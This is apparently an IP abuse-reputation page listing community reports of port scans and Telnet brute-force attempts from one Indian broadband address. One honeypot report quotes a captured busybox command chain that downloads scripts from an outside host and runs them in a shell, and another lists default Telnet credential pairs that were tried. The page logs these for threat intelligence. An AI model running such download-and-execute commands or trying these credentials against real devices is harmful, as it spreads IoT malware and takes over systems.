JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

117.245.84.209

Recent Activity

Abuse confidence score ?

40% Elevated

116 reports

49 reporters · latest 12 hours ago

ISP	Broadband Multiplay Project, O/o DGM BB, NOC BSNL
Usage Type	Fixed Line ISP
ASN	AS9829
Domain Name	bsnl.in
Country	🇮🇳 India
City	Ranchi, Jharkhand

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

Reports Activity

Example preview

Report Categories (Last 60 Days)

Example preview

Top Reporter Countries (Last 60 Days)

Example preview

Account required for the enhanced features Log in Sign up

IP Abuse Reports for 117.245.84.209

This IP address has been reported a total of 116 times from 49 distinct sources. 117.245.84.209 was first reported on February 13th 2026, and the most recent report was 12 hours ago. In the last 60 days, the top reporter locations were: United States of America with 6 reports; Germany with 3 reports; Canada with 1 report. The most common categories in these recent reports were: Port Scan 9 times; Brute-Force 4 times; Hacking 2 times; IoT Targeted 2 times.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 MPL	2026-09-25 07:05:29 (12 hours ago)	tcp/80 (8 or more attempts)	Port Scan
Anonymous	2026-09-24 01:40:38 (1 day ago)	denied traffic to a honeypot network. destination port 80.	Port Scan Hacking
🇨🇦 alexbfr	2026-09-23 23:30:40 (1 day ago)	Fail2Ban report from custom-honeypot; automated Telnet honeypot detection.	Brute-Force IoT Targeted
Anonymous	2026-09-23 21:45:40 (1 day ago)	Blocked by firewall on hugin [23/tcp] \| Rule: UFW \| SPT: 64415 \| TTL: 50 \| LEN: 40 \| TOS: 0x00 • Rep ... show more Blocked by firewall on hugin [23/tcp] \| Rule: UFW \| SPT: 64415 \| TTL: 50 \| LEN: 40 \| TOS: 0x00 • Reported by: github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan IoT Targeted
Anonymous	2026-08-06 21:23:03 (1 month ago)	2026-08-06T23:23:01.149539+02:00 vps kernel: [2422223.198682] [PORTSCAN DETECTED] IN=ens3 OUT= MAC=f ... show more 2026-08-06T23:23:01.149539+02:00 vps kernel: [2422223.198682] [PORTSCAN DETECTED] IN=ens3 OUT= MAC=fa:16:3e:66:f6:24:02:37:19:0d:c2:f3:08:00 SRC=117.245.84.209 DST=54.37.14.118 LEN=40 TOS=0x00 PREC=0x00 TTL=46 ID=8490 PROTO=TCP SPT=16063 DPT=23 WINDOW=30462 RES=0x00 SYN URGP=0 ... show less	Port Scan Brute-Force
🇺🇸 xmission.com	2026-08-06 09:38:49 (1 month ago)	Blocked by UFW (TCP on 23) Source port: 16063 TTL: 53 Packet length: 40 TOS: 0x00 This report (for ... show more Blocked by UFW (TCP on 23) Source port: 16063 TTL: 53 Packet length: 40 TOS: 0x00 This report (for 117.245.84.209) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan Hacking Brute-Force
🇺🇸 pcprincipal8752	2026-08-06 06:56:42 (1 month ago)	NULLPOT TELNET HONEYPOT · SESSION REPORT: 1) sh \| 2) shell \| 3) enable \| 4) system \| 5) ping; sh \| 6 ... show more NULLPOT TELNET HONEYPOT · SESSION REPORT: 1) sh \| 2) shell \| 3) enable \| 4) system \| 5) ping; sh \| 6) /bin/busybox STC \| 7) /bin/busybox hostname TOASTER \| 8) /bin/busybox wget http://2.26.136.128/twget.sh -O- \| sh;rm -rf tftp.sh;/bin/busybox tftp 2.26.136.128 -g -r tftp.sh -l tftp.sh;chmod 777 tftp.sh && sh tftp.sh;rm -rf ftp.sh;/bin/busybox ftpget 2.26.136.128 -P 8121 ftp.sh ftp.sh;chmod 777 ftp.sh && sh ftp.sh; show less	Brute-Force
🇺🇸 MPL	2026-08-06 06:02:43 (1 month ago)	tcp/23	Port Scan
🇺🇸 RAP	2026-08-05 23:17:39 (1 month ago)	2026-08-05 23:17:39 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇺🇸 RAP	2026-07-28 08:33:21 (1 month ago)	2026-07-28 08:33:21 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇩🇪 Admins@FBN	2026-07-28 08:24:52 (1 month ago)	FW-PortScan: Traffic Blocked srcport=46487 dstport=23	Port Scan
🇩🇪 guldkage	2026-07-26 23:32:02 (1 month ago)	Unauthorized connection attempt detected from IP address 117.245.84.209 to port 23 (ger-03) [m]	Brute-Force Exploited Host
🇨🇭 GAS	2026-07-25 19:56:39 (1 month ago)	SSH Honeypot attack. {"duser":"admin","level":"info","msg":"Telnet login attempt","password":"1q2w3e ... show more SSH Honeypot attack. {"duser":"admin","level":"info","msg":"Telnet login attempt","password":"1q2w3e","src":"117.245.84.209","time":"2026-07-25T19:55:56.191080948Z"} {"duser":"root","level":"info","msg":"Telnet login attempt","password":"anko","src":"117.245.84.209","time":"2026-07-25T19:56:00.065895966Z"} {"duser":"admin","level":"info","msg":"Telnet login attempt","password":"vnpt","src":"117.245.84.209","time":"2026-07-25T19:56:03.798901783Z"} {"duser":"yhtcAdmin","level":"info","msg":"Telnet login attempt","password":"Cm1@YHfw","src":"117.245.84.209","time":"2026-07-25T19:56:07.734085454Z"} {"duser":"keomeo","level":"info","msg":"Telnet login attempt","password":"keomeo","src":"117.245.84.209","time":"2026-07-25T19:56:11.557073234Z"} {"duser":"Admin","level":"info","msg":"Telnet login attempt","password":"Admin","src":"117.245.84.209","time":"2026-07-25T19:56:15.244029683Z"} {"duser":"root","level":"info","msg":"Telnet login attempt","password":"default","src":"117.245.84.209","time":"2026-07-25T19:56 ... show less	Brute-Force SSH
🇺🇸 RAP	2026-07-24 19:03:18 (2 months ago)	2026-07-24 19:03:18 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇺🇸 RAP	2026-07-18 11:44:35 (2 months ago)	2026-07-18 11:44:35 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan

Showing 1 to 15 of 116 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 34.121.17.239

🇰🇷 221.158.221.154

🇧🇷 205.210.31.246

🇧🇪 198.235.24.184

🇺🇸 198.46.135.28

🇲🇽 186.96.158.180

🇨🇳 183.199.135.134

🇫🇷 162.158.23.177

🇫🇷 149.202.60.122

🇷🇺 95.165.182.238

🇸🇪 82.118.29.153

🇩🇪 64.89.163.139

🇱🇻 31.56.204.207

🇮🇩 202.50.203.150

🇺🇸 185.198.240.164

🇭🇰 150.109.68.254

🇺🇸 74.249.196.129

🇺🇸 71.6.239.179

🇨🇭 209.99.184.239

🇧🇪 198.235.24.229